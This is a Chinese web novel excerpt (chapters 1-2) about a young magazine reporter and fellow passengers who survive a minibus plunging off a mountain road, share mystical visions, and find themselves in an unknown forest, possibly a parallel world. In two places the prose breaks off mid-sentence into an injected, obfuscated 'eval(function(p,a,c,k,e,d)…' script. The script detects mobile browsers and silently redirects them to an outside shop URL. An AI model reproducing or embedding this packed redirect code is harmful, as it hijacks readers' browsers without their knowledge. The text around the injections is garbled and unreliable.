《大家都能好好过日子》 1. 第 1 章 意外发生之前一切正常。 当然啦!不然怎么能叫意外? 坐在小公共汽车里的杂志社记者李夏没有任何会出大事的预感,她只是出于职业习惯,逐一打量车上的几个人。 虽然只当了三年记者,李夏已经是个熟手了。 她所在的杂志社不是个盈利机构,出版的是大使馆里免费提供给外国人读的介绍中国各色国情的那种杂志,封面一般要么是鲜红色的中国古建筑或者服装,要么是山水美食,再来些孩子的笑脸……为避免显得是正式的口舌,杂志挂在一个基金会下面。因为不是商业操作,杂志社一向是紧巴巴的。中文的稿子还要被翻译成英法德日阿拉伯等各种外语,杂志社还要养活个外国人组成的翻译团队——保证在国外的杂志语言上百分百本土。 结果,写中文稿子的记者就几个,一个人要管好几个方面的题材。组里年纪大些或者有家有室的记者都不喜欢出那些要去偏远地方的差,于是李夏几个年轻人就要到处跑。而且一旦出差就会有叠加的任务,比如顺路去参加个什么节什么会,回来多交两篇稿子…… 给外国人看的,总要有些本土气息。那些高楼大厦什么的,外国人自己都有。所以李夏写过冰雪世界中的雕冰人、乡村的唢呐大赛、丰收时的辣椒集市、著名人物家乡的菜馆、做旗袍的服装设计师、会剪纸的老人……反正就是要丰富多彩,务必要显出我大国的与众不同和绚烂文化! 李夏从小就会写作文,随便下笔就能划拉出来,关键是没有内容那不就是废话吗?李夏写过很多废话。她自己也深有感触,想尽量避免。 有时一期杂志上,一个记者会用不同的名字发两三篇稿子,所以李夏总得挖空心思找素材。 她这次是要去一个不怎么大众但有颇有文化色彩的旅游点——x山文殊寺。这个寺庙在海拔一千多米的山上,有树龄几千年的世界古树,有唐代的传闻水浮铁莲花,有李清照因为见到寺中相依的古树,想起了丈夫写的诗(就问你信不信)…… 有这些原材料垫底就很容易写出篇有历史背景外加民间传说的文字,加上现在正是秋天,山中树叶开始变色,拍照出来肯定色彩缤纷,这样双管齐下,折服几个外国人不在话下! 李夏的议题一报上去就被批了,可见领导也认同,只是经费批得抠抠搜搜,只够她坐火车和公交。 去那个山寺要从山下的村庄上山,而离那个村最近的城镇叫鲁山镇。高铁只到鲁山镇快三十里外的大城市,李夏索性坐了普通火车到了鲁山镇,结果发现鲁山镇竟然没有去那个村子的公共汽车!那村子得多小?那旅游点得多小众?没办法,自己选的路要走到底,她只好叫了私家车,到了山脚下的村子里发现上山还要换乘。除了轿车,还有私营的小型公交车。李夏就选了个看着还算新的小公共。 她上车后发现里面只坐了几个人,年轻的司机高兴地说马上就开车,可门外一个中年人一个劲地让他等着。又等了半个小时,看着实在没人上来了,外面的中年人才在司机的催促下勉强地说了句:“小心驾驶,开车吧!” 车子移动,李夏发现下面站着的中年人一脸不高兴——李夏表示理解:车里才五个人外加个小孩,每人五十块,这么一趟没挣多少钱。 李夏坐在汽车的后面,所有人都在她的视线下。 司机该二十六七,头发长得快遮住耳朵了,明显好久没理发。他穿着件蓝格子的厚实衬衫外套,有种乡土感觉。 坐在司机斜侧后面第一个位子的是个穿着鲜红色僧服的喇嘛,看着二十来岁,消瘦露骨的面颊,肤色发黑。他紧盯着前方,一副脖子僵硬的姿态,从侧面还能看到他嘴唇半张,随着手里捻的念珠微微动弹……李夏认为这是个没怎么出过远门的藏区青年,应该是去那个旅游点的寺庙。 司机后面的位子上有老病残的标志,没人坐,侧边座位并排坐着个二十四五的年轻女子和一个三四岁的小女孩。女子肤色白净,梳着马尾,穿了件淡咖啡色的风衣,小女孩穿着件上半截粉色下半截白色的绒夹克,头上还有粉色绒绳扎出的小马尾,与女子一个发型,看着该是对母女。 小女孩坐在靠窗的位子,一手搂着个有长长耳朵的灰色兔玩偶,一手扒着车窗往外看,那股坚定劲儿和前面那个喇嘛一样。 母女俩的穿着叫嚣着城里人的讲究和时尚,李夏觉得有种违和感:穿成这样的人难道不该有私家车?难道不该由老公开车送老婆孩子前往那个偏远的旅游点吗?而且,这么小的孩子去游乐场玩不好吗?为什么要去深山里? 在李夏前面的双人座上是一对青年男女。女的穿了身淡蓝色的牛仔服,上面嵌了亮晶晶的碎片样的东西,她化的妆有些夸张——浓密的睫毛像小扇子般忽搧着,眉毛长长的,嘴唇鲜明,看着不过二十来岁吧……当然,李夏不敢肯定:现在的化妆狠活儿能把个大妈化成妖妃,但这女孩对面的男的肯定才二十三四:头发好长,快到肩膀了,脸上一堆青春痘。他正举着手机拍女孩,女孩微笑着侧脸指窗外,柔声说:“大家看到了吗?我们已经坐上了车,这一路其实有好几个景点的,当然,我们先要去的是文殊寺,据说里面的古树美极了,我们一定会拍给大家看哈,现在我们给大家看看这沿途的山景……” 她的语气里带着讨好和小心,像是在哄着心情躁动的人们。 哦,我们是目的地一致的媒体同行!李夏有些感慨:幸亏自己的杂志是对外发行的,不然肯定办不下去了——现在谁还读什么文章啊,大家都看短视频了。也许哪天上面一动心思,要与时俱进,把对外的杂志换成在使馆里播放的视频…… 李夏暗暗警觉:我得开始学习做短视频了吧?这样看,这两个人算是我的前辈…… 人都看全了,李夏把目光投向窗外,汽车已经上山了,一边是丛林直立的山体,一边是倾斜而下的陡坡。盘山公路只有单线,好在现在路上没什么车,在汽车的引擎声和女网播娓娓而谈的话语声中,李夏的思绪飘散:车到了寺庙时我是不是可以选个人聊聊天?要不就选这对做直播的年轻人吧?顺手写个人物访谈——“当代青年多样化的就业选择”,拍几张照片,就算又有了篇稿子!这个月的定量完成,能休息几天不干活了。 其实说是休息,心还是累,总要惦记着新的素材。当了三年记者,李夏觉得自己像是要被掏空了,写的都是些浅显的文字,没有什么哲理性。当初她上了中文系,可是憋着要写小说的,现在天天就是怎么赶稿,怎么写得喜闻乐见,根本没心思也没精力去写什么严肃文字了…… 李夏觉得汽车加速了,大概是因为周围没有车的缘故,司机开得很快。可突然,汽车开始颤抖,速度马上就又慢了下来,接着颤抖就消失了。李夏不自觉地看向司机,正在直播的女网播也扭头看司机方向,然后对着摄像的手机捂胸口:“哎呀,吓了我一跳,刚才汽车突然抖起来,大家知道为什么吗?……” 又过了会儿,大概是司机觉得没事了,就又加速了,汽车行到一个上坡的拐弯处,听声音,司机该是把油门踩到了底,突然,汽车又晃了起来。因为有刚才的那么一次,李夏没太在意,其他人也没反应。但这次的颤动没有减弱,变得越来越剧烈,女网播夸张地尖叫起来,李夏的胳膊撞到了扶手上,一阵疼痛,她忙双手紧抓住扶手,失声喊:“地震?快停车啊!” 司机说:“俺也想停嘞……”他手忙脚乱地踩离合刹车,可汽车一歪,反而猛地蹿向外侧,轻易地撞开了铁围子,顺着陡坡往下冲去! 这下完全失控了,不仅是女网播,其他人都开始尖叫,年轻的喇嘛呐喊般地念咒,李夏瞪大眼睛,看着车前一下下出现又消失的灌木和越来越近的石岩边缘…… 时间突然变得慢了。 汽车一下越出了石岩,瞬息间,李夏从余光里还看到了石岩下的落差,脑子里下意识地划过思绪:这得有十几米吧……汽车落了下去…… 面前的所见变成了一帧帧的画面:女网播扑到身边男伴的怀里,年轻的妈妈将女儿揽在臂弯中,司机的双臂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338288|199270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸直,像是要把方向盘拉起,喇嘛大喊着打出了一个手印,手里的念珠飞飘在空中…… 突然,前面出现了极为明亮的光芒,一下子,李夏进入了最纯粹最亮的光的所在。她感觉不到身体了,但一缕意识并没有消失,反而在迅速地扩展…… 无数的信息骤然而至——从虚空中显化,与光分离,层层下行,进入了三维的世界…… 纷纭的前世争相呈现,像是一本本小说…… 但无论信息多么丰盛,属于李夏个人的强烈意志猛地将这些一下都扫开了:不够,我还没活够!我还有许多事没干!我才二十四岁,我还没有写出我想写的小说!什么爱情、婚姻、孩子,我都没有经历过!……怎么就不能让人好好过日子啊! 一缕无形的念头像闪电般划开了混乱:快发大愿,发的愿越大,得到的护持就越大! 这是李夏读到过的话,她过去是不信的,但在这个刹那,李夏直接就采纳了:我发个大愿!我要世界和平!看看!我发了!下面就看你的了! 这个“你”是谁?李夏也不知道。她只知道光芒突然散去,她一下撞回身体中,恰好同时汽车也触及了地面,李夏死死地握着扶手,身体稳坐在座椅上。汽车颠簸着往前冲,但减速了,最后竟猛地停下了! 一时间车里安静,李夏察觉到她回来后就没听见人声,连喇嘛都没了念咒的声音,大家像是痴呆了。 年轻的喇嘛是第一个动的,他突然站起来,走到狭窄的过道上,五体投地,做起大礼拜来了,脑袋砰砰地磕在橡胶地革上,吸引了所有人的目光,连司机都转了身看他。 做了几个大礼拜后,喇嘛拿出个手机,颤抖着手打开,拨通后就哇啦哇啦激动地说谁都听不懂的话,该是藏语,手机里的声音隐约传出,听着很严厉!喇嘛的神情变得平静了,后来有些尴尬地连连点头,最后挂了。见大家都还在瞪着他,他结巴着说:“我的……上师……那个,他……他说……那个,都是相……那个……”普通话一点都不标准,还带着古怪的调子。 他也是见到了什么吧?我不是发什么病。李夏松了口气——喇嘛打了电话,手机还有信号!她也忙去拿手机,耳边传来小女孩的叫声:“妈妈。” 李夏没惊讶——小孩叫妈不很正常吗?这个孩子一直很乖,刚才大人都在尖叫,李夏不记得听到小女孩的哭声…… 只听一声大叫:“宝宝!你能讲话啦?!”接着就是呜呜的哭声。 李夏忙抬头,见那个妈妈抱着女儿在哭,小女孩却在笑,有些勉强地说:“有……有……”她把手臂张开,做出翅膀的动作。妈妈虽然没明白,但边哭边点头:“好好,我看到了你姥姥,她让我好好爱你,做个好妈妈……” 还依在男伴怀里的女网播惊喜地说:“你也见到人了?我还以为是我的幻觉!有个小姑娘带着我去了个都是花的地方,遍野都是花,真是太美了,她说我们是姐妹,让我别忘了回去,我是不是个花的精灵啊?”她看向青年男子:“你见到什么了吗?” 男的脸涨得通红了,脸上的痘痘都好了!只留下了一层油,人看着挺顺眼的。他回答:“我见到了好多画家,都是我喜欢的,中国的,外国的,我还是要当画家!” 前面的司机一拍腿,从座位上起身,转身走到车厢里对着大家坐了:“哎呀呀!俺还以为俺疯了呢!俺见到了俺爷俺奶还有这里的土地爷!真是个白胡子的老头,他说要爱护地球,俺说俺就是个开车的,怎么爱护?俺爷就摸俺的脑袋,让俺答应,俺就答应了,这车就着地了!恁们说邪性不邪性?这日后俺是不是就不能开车了?人家不都说开车有污染啥的?” 说完,他看向李夏,妈妈还在抱着女儿抹泪,两个青年男女也扭头看李夏。 这是该我了?李夏眨眼:“额,我没看见什么,就是到了光中……后来许了个愿。” 女网播问:“什么愿?” 世界和平?……这听着很假,李夏斟酌地说:“就是,大家都能好好过日子。” 2. 第 2 章 司机马上同意:“中啊!这回没事,可真得好好过日子!”他看那个喇嘛:“恁当时看见了啥?” 喇嘛不好意思:“我那个……刚才,那个告诉了上师,他说那个,不要说。” 司机撇了下嘴角,又问:“恁哪儿来的,也是去那个文殊寺吗?” 喇嘛点头,磕磕绊绊地说:“我那个藏地,那个雪山来的,上师跟我说,去那个……”他开始说藏语了,见大家都眨眼,就不好意思地停了:“我那个……普通话……那个……不好……” 年轻的妈妈抬头,脸上带着泪痕激动地点头:“我也是去文殊寺的!我做了个梦!梦里说了个文殊菩萨寺庙的名字,说让我带女儿去,我女儿就能讲话了。我女儿一直不会说话,都三岁零九个月了。我本来不信,可百度了下我梦里的名字,竟然真的有这个寺庙,文殊菩萨是开智慧的,我就带着女儿来了,算是出来玩一次。没想到,我女儿真的能说话了!谢谢谢谢!”她对上面作揖。 女网播说:“太好了!出事时我正直播呢!就是告诉大家怎么去这个寺院,听说这个寺院的古树好美。我一会儿能讲讲你的事吗?放心,不照你女儿的脸。” 妈妈想了片刻,点了下头,女网播马上推了下男友,男青年低头调手机。女网播拿出面镜子照,“哎呀,我的睫毛怎么掉了!我的粉底也都没了,口红也是。”她看自己的膝盖,然后说:“算了,不用了,我觉得我皮肤变得好了。”她拿出湿纸巾擦掉衣服上的粉尘,又找出睫毛膏刷了下睫毛,然后左右摆动看头发。 司机带着一副“没想到也没见过”的表情问:“恁是网红嘞?” 李夏觉得这个司机长相憨厚,更像是人们刻板印象中的庄稼汉。 女网播谦虚地笑了一下:“不能算网红吧,就三千多粉丝,刚才我直播时,有三十多人在看呢,我得赶快上线,不然人家都离开了。”说着忙拿出口红对着镜子补妆。 司机又看向李夏:“恁哪儿的人啊?” 李夏礼貌地微笑:“北京人……” 司机说:“哎呀!恁是北京来的?俺没见过几个北京的。” 女网播也瞪眼看过来:“姐是北京人?什么工作啊?” 李夏尽量低调:“小记者。” 女网播的嘴张大:“记者?正式的那种?” 心里惦记着写稿的事,李夏大方地说:“是呀,话说你给了我灵感,一会儿你直播之后,我想写写大家的故事,毕竟咱们一起出了这个车祸还都没事,真太幸运了。” 女网播被表扬了,笑起来:“那我一会直播的时候也拍下你吧!” 李夏忙答:“那我在你直播时给你们照相。”礼尚往来! 女网播最后看自己的妆:“可以的哈,我的网名是‘旅游小仙子’,这是我的摄影师阿强,也是网名哈!” 你们都是网名,可我得给真名啊。李夏笑着说:“我叫李夏,是xx杂志社的。” 旅游小仙子放回镜子,对着李夏矜持地微笑:“一会儿让姐跟我的粉丝打个招呼哈。”她看向面前的阿强,对着手机酝酿好了情绪,在阿强点头后,旅游小仙子吸气,夸张地长叹了一声:“天哪!我们刚才出了一场车祸啊!我跟你们说,也许是地震了,也许是我们的车子出故障了,反正我们的车一阵抖动就冲下了山坡!奇迹是我们都没有受伤!我们这车中,有北京来的记者姐……”她看向李夏,阿强的手机扫过来,李夏忙假笑,举了下手。 等镜头转回去,旅游小仙子接着说:“更神奇的是,有位小妹妹,本来不说话的,车祸后竟然叫了妈妈!妈妈说她是做梦梦见了那个文殊寺才来的,你们看,她一个劲地哭,肯定是高兴的啦!” 那位妈妈迎着阿强的手机,含着眼泪说:“真的,我女儿本来不会说话,现在喊妈妈了……”小女孩应景地叫了声:“妈妈!”妈妈应声落泪…… 旅游小仙子也做出了一副感慨的样子:“真的太好了啊!我们还得谢谢司机大哥,车颠得可厉害了,但没有翻车!” 司机有些惊讶地看到阿强起身拿着手机走向了自己,忙摆手说:“是土地保佑俺们啊!俺以为这次肯定滚犊子啦!那石岩子下面是空的,车怎么没翻呢?”他一脸不解…… 阿强及时将手机转回也站了起来的旅游小仙子身上,旅游小仙子在过道上边走边说:“我们同车的还有位藏地僧人,说不定是因为他及时念的经或者咒呢?” 阿强又去拍喇嘛。喇嘛木呆呆地,张了张嘴,说了句:“扎西德勒!” 李夏也有种后知后觉的疑惑:是啊,车怎么没翻?那石岩下是腾空的,车子落下来,怎么也没摔坏?自己没有受伤的感觉,别说腰椎间盘突出之类的,连在扶手上撞击过的胳膊也不疼了,皮都没擦破。 旅游小仙子笑眯眯地说:“在等待救援的过程中,我们先到外面拍拍景色,大家不要离开哦。”她扭头看司机:“大哥,我们下车去看看。” 司机忙说:“好嘞!”又坐到司机座位上打开了车门。 李夏拍了几张娇小的女网播在阿强举着拍摄杆的追拍中走下汽车的照片,然后扭头透过车窗看旅游小仙子直播周边的景色。 司机拿出手机,用本地方言大声打电话。 年轻的妈妈也划开手机,接通时又开始哭:“我们出了车祸……不是不是,我们都没有受伤,是宝宝讲话了!真的!来宝宝,叫爸爸……”小女孩凑到手机前:“爸、爸!”妈妈又哭又笑:“真的……是真的……” 李夏也给自己的中文组长老王打了个电话:“老王啊,我们出车祸了,哦,都没事,就是在等着救援呢。谢谢您谢谢您,好的,我可以把旅游景点的介绍换成车祸的救援过程,我还想采访一下车里的人们……好,我争取准时交稿。” 老王平时笑眯眯的,真是好说话。李夏按了红色的按钮,看向窗外。 按理此时该联系家人,可李夏与父母已经两个月没有说话了。 其实也说不上是一次剧烈的争吵,只是重复多次的抱怨:你怎么不多挣些钱?你怎么不去找个钱多的工作?你怎么不多给家里钱?你怎么不能找个有钱的人嫁了?…… 反正就是个钱字! 但又不是关于钱。 这是个遥远的故事:一个年轻的艺术家,稍有成就,长得不错,工资也高,还是个干部。 一天,单位里来了个十八岁的姑娘,先问这里哪个没结婚的工资最高。 有人就给她指点了这位钻石王老五。 于是!过了几日,这位姑娘就去找到这位高薪青年哭诉家境困苦:她家是外地进京的,父亲挣的钱不多,母亲没工作,刚添了个小弟弟,她的工资都要用于养家…… 哭着哭着,就扑到了对方怀里…… 结果,没有选择医生、演员、教师当老婆的青年,选了个被家庭迫害的小可怜…… 当然,也是因为女方还是个处,事后女方父母找到了青年的领导,反应青年在生活问题上不检点,领导找青年谈话,在身败名裂和正经恋爱结婚之间,青年选择了后者。 婚后,女方说自己的工资都要交给娘家,而丈夫的一半工资也要孝敬老人。 男方是东北人,父母过世,本来一心想建立自己的小家庭,当真不想去养自己的小舅子。 于是两个人无休止地争吵,男方一要求离婚,女方就绝食,有一次在屋里饿了三天,男方怕出人命,最后退让了。 再后来,女方怀孕了。 男方想传宗接代,女方也不想打掉孩子,因为“打掉了,怕真的就要离婚了。” 李夏的出生并没有让这个家更快乐:女方发现男方因为有了孩子,就坚决不把他的工资给她娘家了。于是女方在憎恨男人的小气的同时,对这个长得像丈夫的女儿也生不起喜欢!而男子因李夏是个女孩子,觉得李家绝了后,很失望。他一直称李夏为儿子,年纪渐长后,就称他的学生们为儿子了。 李夏不记得父亲叫过她一声“女儿”,哪怕是一次。 因为父母是双职工,没人看孩子。李夏从出生就被抱到别人家去养,父亲的高工资全部用于支付保姆的费用了。偶尔保姆有事,李夏会被接回家,父母谁都不想带孩子。李夏记得自己比床高半身时被锁在屋中,她在恐惧里等着父母回来,长时间哭叫不已。可等到父母回来了,她却被拉到屋外,让她对着陌生人去哭,好知道“害臊”。 李夏在九岁时才回到父母身边,噩梦也就开始了。 父亲有东北大汉的基因,母亲那边,舅舅也是个高个子,李夏从小虽然多病,但个子瘦高。为了在公车上不买票,母亲让她屈膝走路,在她没听懂反而站直了以致公车上的司机提醒买票时,母亲骂她蠢。 李夏开始发育,饭量增加时,母亲会在她吃饭时发脾气,在她夹肉时骂她吃得太多。她去找一位姐姐聊天回家晚了,回家时父母正在吵架,母亲就把火撒在了她身,让她跪下,说她不正经。她看小说时流泪,母亲大肆嘲弄,进而辱骂…… 就如李夏在网上读到的诗意描写:母亲细致的恶意如绵绵雨滴撒遍我成长的岁月。 而父亲从来没有站出来为她遮挡,因为他自己已经自顾不暇。他是个懦夫,会在争吵时夺门而出,把暴怒的妻子留给瑟瑟发抖的女儿,等着妻子的火气消了再回来。李夏好久好久都没有发现,而只满足于父亲在事后安慰了她,说了些“她是你的母亲”、“她只是脾气不好”之类的话…… 李夏关于母亲的记忆充满负能量,她憎恨那种一个孩子面临极为恐惧的来自母亲的怒火却无路可逃时的无力感。她不看任何歌颂童年美好、母爱伟大的东西,等不及要赶快长大离开家。 她喜欢女扮男装,以哭泣为耻,对自己是个女孩子很嫌弃。但她因被母亲从小嗤笑,学会了不显露脆弱。在表面上,她个子高挑,爱说笑,大家都以为她只是个性情直爽的傻大妞。 她学习上没什么问题,可化学不过关,只能学文。她铆足了劲儿要上B大中文系。她脑子够用,又因学习好从高中开始住校,杜绝了家庭的干扰,最后她如愿以偿。可当她拿到录取通知书时,她的母亲却道:“上中文系有什么用?还不如进工厂呢,能挣几个钱给家里。”要知道这是B大中文系,是周围邻居们羡慕得发狂的高校。当然,中文系也的确没有“钱途”,李夏的母亲连中学都没有毕业,靠着长得漂亮进了艺术领域打零工。她对无法兑现成钱的学历,都有深深的鄙夷。 父亲也是个艺术生,除了他的领域,对其他的一律不感兴趣。他在李夏上大学时还会背着母亲给李夏些生活费,但当李夏毕业后成了个穷记者,第一个月发了工资只交给了父亲五十块钱后,父亲也变了。 作为读过万卷书的中文系毕业生,李夏很会揣摩父母的心理。 在目睹了父母无数次因为钱的争吵后,李夏心里对钱真是又恨又向往! “恨”是因为她热爱文学——她读了许多金钱对情感和思想的侵蚀,学到了那些文人的清高。“向往”是因为她从现实中知道钱能解决许多人生的争执,至少能买下清净。 这冲突和矛盾的情感啊! 李夏也想去公司当个拿高薪的秘书,可她又喜欢她现在的工作,可以说除了没钱,这个工作满足了李夏所有的奢望:免费旅游、弹性的工作时间、人们的尊重…… 所以她的确想要钱,可又不想辞职。 她情感上也面临着同样的困境:她深觉父母的家不是家,她从小就想建立属于自己的家,有丈夫孩子。可因为父母的婚姻一地鸡毛,李夏不知道该如何与人和谐共处。她在书中读了众多条条框框——要宽容要感恩要这要那,可现实里会因为对方不喜欢契科夫就再也不理人家了…… 今年是她的本命年,李夏感到了青春将逝的恐惧。 当母亲说某某家的孩子开了公司,谁谁孝敬了父母礼物时,父亲看着李夏笑;当母亲责问李夏“你给家里带来了什么?没钱没男友,你有什么用?”时,父亲不语……这种时候,李夏不再像过去那样以为这些只是父母见识浅的唠叨,不必理会,而是觉得越来越刺耳。 那一天,母亲又一次以嘲笑的口吻说:“你过去学习比某某好,可现在人家给家里买了车,看来你不行啊!……”接着是老调重弹,李夏终于愤然夺门而出。 一连两个月,她没有联系过父母,父母也没有给她打过电话。 这次冷战李夏不仅针对从小就对她恶言恶语的母亲,也包括了过去李夏一直心怀同情以为同是受害者的父亲—— 不是一家人不进一家门,你们其实在里面是一样的:你们一个需要钱,一个需要男孩……如果我不带给你们这些,我对你们而言就没有价值。 李夏黑化了:你们并不需要我,既然你们喜欢钱到了骨子里,喜欢别人家的男孩子,那就不需要我的感情,也不需要我的陪伴。 一日没有和解就是一日的怨气,堆积成了后知后觉的恨意:你们从来没有爱过我。 李夏的工资在京城买不起一件贵重的衣服,幸亏她住在宿舍,有食堂的便宜饭菜,才能过活。 她觉得父母在拿捏她,让她低头,可李夏的怨气支撑着她不和解。 此时李夏刚经历过幻境,那种恍惚的感觉像是一盆冷水浇灭了她炽热的怨恨。她有些迷茫——现实和虚空孰真孰假?她的情绪不像以前那么让她痛苦,可那些认知还在,如一道深沟隔在了她和父母之间,深到她觉得与父母离得很远,远到就是从此再不联系也可以。 但车里年轻妈妈明显不是李夏这种小狼女,她又在打电话,也是哭,“爸爸,我们没事,就是吓着了,呜呜……”然后又报喜“宝宝会说话了!真的!来叫姥爷!” 小女孩磕巴着,努力跟着妈妈的发音,叫着“姥……姥……姥爷爷”。 李夏看着这个比自己大不了多少但已经有了女儿的女子,觉得对方有些软弱,还像是个孩子,可也挺羡慕人家的——这么大了,还有个能对着去哭的爸爸。 李夏觉得自己在还没有长大时,就已经不能当孩子了。 窗外传来旅游小仙子咯咯的笑声,李夏望去,见旅游小仙子在高耸的树木前一手高一手低地摆着姿势,像是在跳舞,也许是听她说了她的境遇,李夏觉得她真的有种小仙子的感觉——身材小巧玲珑,说话嗲声嗲气。小仙子是不是因为觉得身体的长相还比不上她心中的完美,才把妆化得那么浓呢?可是不对,她的妆都没了,口红也褪了色,睫毛掉了…… 李夏胡思乱想间觉得不对劲儿,她静下心问自己:哪里不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338289|199270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对劲呢?是我在因别人的亲情而耿耿于怀吗?都是都不是,反正就是觉得别扭,那是什么呢? 她凝视着旅游小仙子身后的树木:对,是这个——她选择了要看金黄银杏树叶的时候进山,可这里的树叶好像还没有到秋末,没有变得那么多彩。而且这些树木太高大也太杂乱了!后世人工造林的树木都有种排列感,透出一种被打理过的有序,不是这种像原始森林般的生态环境。 李夏又凑近窗户看向地面,就像她怀疑的,周围倒伏的草木都是汽车冲过来碾压的,那两个小伙伴只能围着汽车转,远一些的地方就草木密集得进不去人了。 李夏皱了眉,起身走到车前部,在司机身后坐下,问道:“司机大哥,你是本地人吧?见过这片区域吗?” 司机扭头说:“俺是本地的,恁这么一说,俺还真没见过。嘶,这真邪性了,从那下来该是山坡,哪里有这么多树?俺们这是到了哪里?” 李夏说:“我把他们先叫进来。”她走到敞开的车门前喊:“旅游小仙子!你们快点回来上车!我有事说!” 旅游小仙子才摆了个手向上托的姿态,语带勉强地对着手机镜头说:“家人们,记者姐让我们回去呢,我们一会儿……”她话音尚在,李夏见树木间有动静,大叫道:“快回来!立刻!” 僧人又开始大声念咒了。 旅游小仙子一惊,忙绕过车头往车门跑,阿强跟在后面,两个人跳上车,李夏叫:“关门关门!” 司机一推杆,车门关上,就听砰地一声,有什么撞上了车门,女网播尖叫:“那是什么那是什么?!”大家都扭身往外看,见一只豹子正前爪扒着车门,脑袋乱晃。这下旅游小仙子脸色煞白,又失声大喊:“是豹、豹子!”她的手颤抖着指:“阿强!是豹子!妈呀!” 阿强倒是显得比较冷静,调转了手机,对着车门外拍摄,女网播想起自己还在直播,带了哭腔:“天哪!是只豹子!天哪!如果我们没跑过来,就要被扑到了!天哪!” 原本安静的直播间出现了好几条弹幕: 什么豹子? 怎么可能有豹子? 不对吧?不是直播山景吗? 这是要加情节? 小仙子?你好吗? …… 她浑身哆嗦,看向李夏:“姐!谢谢!” 阿强转身给了李夏一个镜头!然后又转向女网播,旅游小仙子失魂落魄,勉强干笑,捂着胸口说:“亲们,看那只豹子在干什么?”阿强听了就又将手机转向窗外,在车里挪动角度追拍着豹子,镜头里扫过车里的众人。 豹子转了几圈,走回了树丛,阿强这才又转向女网播。 旅游小仙子双手握着,对着手机说:“亲们,我吓坏了,先下了,亲们随时等我的消息,请祝我们平安吧!” 阿强没多看直播室里几句“祝你们平安”的刷屏,忙退出了。 阿强的手机一放下,旅游小仙子就惊慌地尖叫起来:“这里怎么能有豹子?这是国家保护动物吗?” 司机也有点后怕:“不该啊!俺咋从来不知道俺们这里有豹子?!”他又拿出手机,对着手机咦伊吖吖讲。 喇嘛拿着念珠说:“别……别怕,我,那个,念那个,咒了……”但人们都没看他!喇嘛就又拿出手机,对着手机说了几句话,然后恭敬地听着,连连点头,一副被训的样子,关了手机。 那边司机也打完了电话,对众人说:“俺师傅说已经报警了,让俺发位置,可俺的手机卡了,怎么都刷不出来,俺跟他说有豹子,他根本不信!恁们一会儿给俺转个照片什么的,救援应该很快就会来吧。” 妈妈搂着小女孩:“你可千万不能下车!一直要和妈妈在一起!”小女孩双手抱着灰兔子玩偶乖顺地点头。 等大家平静了些,李夏坐下,犹豫着是不是该说出自己的想法,她觉得先让大家相互介绍一下,这样有了熟悉感,也好交流。她先开口道:“咱们都正经说下名字吧,介绍下自己,这样有事可以商量,我刚才说了,我叫李夏,是xx杂志社的记者。” 旅游小仙子努力镇静,像是给自己打气:“我叫吕容,我不仅做网播,我还参加会展什么的,有好几份工作!朋友们叫我吕仙子或者小容,这是我男朋友,他真的叫阿强。” 比起吕荣的暗含骄傲,阿强明显气不足,低声说:“我叫周小强,就是做……摄影的……也画画……”他不敢看人:“叫我阿强就行。” 年轻妈妈抱着女儿说:“我叫秦莉,这是我女儿何萱,可以叫她小萱,或者萱萱。” 司机又一次离开司机座位坐在旅客座位上,说道:“俺叫王大栋,就是山下村里的人。当司机才两年,可俺一直在跑这段路,怕不是有百次了,从来没出过事!” 然后大家都看向正捻着念珠的喇嘛,喇嘛见大家都看他,停了念珠,回看众人,李夏意识到他可能没听懂,就又说:“你的名字。” 喇嘛点头:“我,那个,叫,多杰。” 这怎么听着像个西班牙的名字,但现在别计较这些了,李夏为了照顾多杰的听力,尽量吐字清晰语速缓慢地说:“你们不觉得我们到了一个奇怪的地方吗?这些树木,豹子,还有汽车冲下石岩时,我看了,下面是空的,我们怎么没有翻车?” 司机点头:“是啊是啊!俺想不明白嘞!” 吕容瞪大眼睛:“你是说……”大家都看她,她皱眉:“我们已经都死了?!我听说好多人死后都不知道自己死了!” 秦莉紧紧抱住女儿:“还好,我和女儿在一起!” 李夏皱眉,伸手晃了晃:“我还是有影子的。”她看向多杰喇嘛:“我们死了吗?” 多杰喇嘛严肃地眨眼,然后摇头:“不会吧,那个,我们该是,那个活着,我问问……”说着,他拿出手机,通了以后,乌鲁乌鲁说了几句,然后被那边疾风暴雨般的斥责骂得低头,喃喃地应了几声,放下手机看着大家说:“那个,该是,没死,我上师,那个,说……”他吭哧了会,总算又组织起语言:“我上师说,是可能死的,但是那个,我和他,那个能打手机,就是没死……” 司机一拍大腿:“对呀!能打电话自然是没死的!不然那边的人不也都是死人了吗?” 秦莉也笑着松口气,摇了摇女儿的肩膀:“你看妈多……”她忙看向吕容,没说完。 吕容却笑着接话:“你看我都被吓傻了!没死就好。可那我们到了哪儿了?”她用胳膊肘推了下身边的阿强。阿强皱着眉,犹豫着不说话。吕容又撞他:“你说呀!猜猜也好!” 阿强抬头看了眼李夏,小声说:“记者姐知道。” 我哪里知道?可大家都看着自己,李夏怎么都得说几句,毕竟是她让大家都来商量事的。李夏选择着词汇:“我觉得吧,这个地方,好像不是我们熟悉的地区了。”这说的没错吧? 但也等于什么都没说。几个人还是看着李夏,明显不买账。李夏皱了眉,小心地说:“我觉得,我们去了个另外一个,嗯,也许是,平行时空那种。” “觉得”、“嗯”、“也许”、“那种”,这些词都表达了不确定性。 